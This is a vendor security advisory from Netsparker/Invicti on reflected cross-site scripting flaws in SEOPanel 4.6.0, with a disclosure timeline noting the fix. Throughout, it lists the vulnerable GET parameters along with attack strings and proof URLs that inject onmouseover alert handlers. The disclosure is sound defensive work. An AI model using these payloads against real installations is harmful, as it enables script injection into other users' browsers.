Cross-Site Scripting Vulnerabilities in SEOPanel 4.6.0

Information

Advisory by Netsparker (now Invicti)
Name: Cross-Site Scripting Vulnerabilities in SEOPanel
Affected Software: SEOPanel
Affected Versions: 4.6.0
Vendor Homepage: https://www.seopanel.org/
Vulnerability Type: Cross-Site Scripting
Severity: Important
Status: Fixed
CVSS Score (3.0): 7.4 (High)
Invicti Advisory Reference: NS-20-005

Technical Details

SEO Panel root was at http://localhost:8080

Cross-site Scripting in Directories.php

URL: http://localhost:8080/directories.php?capcheck=%27%22%20ns%3dnetsparker(0x00E4E5)%20&dir_name=&langcode=&pagerank=&sec=directorymgr&stscheck=1
Parameter Name: capcheck
Parameter Type: GET
Attack: '" ns=netsparker(0x00E4E5)
Proof URL: http://localhost:8080/directories.php?capcheck=%27%22%20onmouseover%3dalert(0x00E4E5)%20&dir_name=&langcode=&pagerank=&sec=directorymgr&stscheck=1

Cross-site Scripting in seo-plugins-manager.php (5)

URL: http://localhost:8080/seo-plugins-manager.php/seo-plugins-manager.php?keyword=&pageno=3&stscheck=%27%22%20ns%3dnetsparker(0x01434E)%20
Parameter Name: stscheck
Parameter Type: GET
Attack: '" ns=netsparker(0x01434E)
Proof URL: http://localhost:8080/seo-plugins-manager.php/seo-plugins-manager.php?keyword=&pageno=3&stscheck=%27%22%20onmouseover%3dalert(0x01434E)%20

URL: http://localhost:8080/seo-plugins-manager.php?keyword=&pageno=3&stscheck=%27%22%20ns%3dnetsparker(0x00E492)%20
Parameter Name: stscheck
Parameter Type: GET
Attack: ''" ns=netsparker(0x00E492)
Proof URL: http://localhost:8080/seo-plugins-manager.php?keyword=&pageno=3&stscheck=%27%22%20onmouseover%3dalert(0x00E492)%20

URL: http://localhost:8080/seo-plugins-manager.php/seo-plugins-manager.php?pageno=%27%22%20ns%3dnetsparker(0x011A0C)%20&pid=1&sec=listinfo
Parameter Name: pageno
Parameter Type: GET
Attack: ''" ns=netsparker(0x011A0C)
Proof URL: http://localhost:8080/seo-plugins-manager.php/seo-plugins-manager.php?pageno=%27%22%20onmouseover%3dalert(0x011A0C)%20&pid=1&sec=listinfo

URL: http://localhost:8080/seo-plugins-manager.php?keyword=&pageno=%27%22%20ns%3dnetsparker(0x01B8AB)%20&pid=1&sec=listinfo&stscheck=select
Parameter Name: pageno
Parameter Type: GET
Attack: '" ns=netsparker(0x01B8AB)
Proof URL: http://localhost:8080/seo-plugins-manager.php?keyword=&pageno=%27%22%20onmouseover%3dalert(0x01B8AB)%20&pid=1&sec=listinfo&stscheck=select

URL: http://localhost:8080/seo-plugins-manager.php?pageno=%27%22%20ns%3dnetsparker(0x00DC5E)%20&pid=1&sec=listinfo
Parameter Name: pageno
Parameter Type: GET
Attack: ''" ns=netsparker(0x00DC5E)
Proof URL: http://localhost:8080/seo-plugins-manager.php?pageno=%27%22%20onmouseover%3dalert(0x00DC5E)%20&pid=1&sec=listinfo

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

2nd November 2020 – First Contact
30th November  2020 – Vendor Fixed
28th December 2020 – Advisory Released

Credits & Authors

These issues have been discovered by Timur Guvenkaya while testing the Invicti Web Application Security Scanner.

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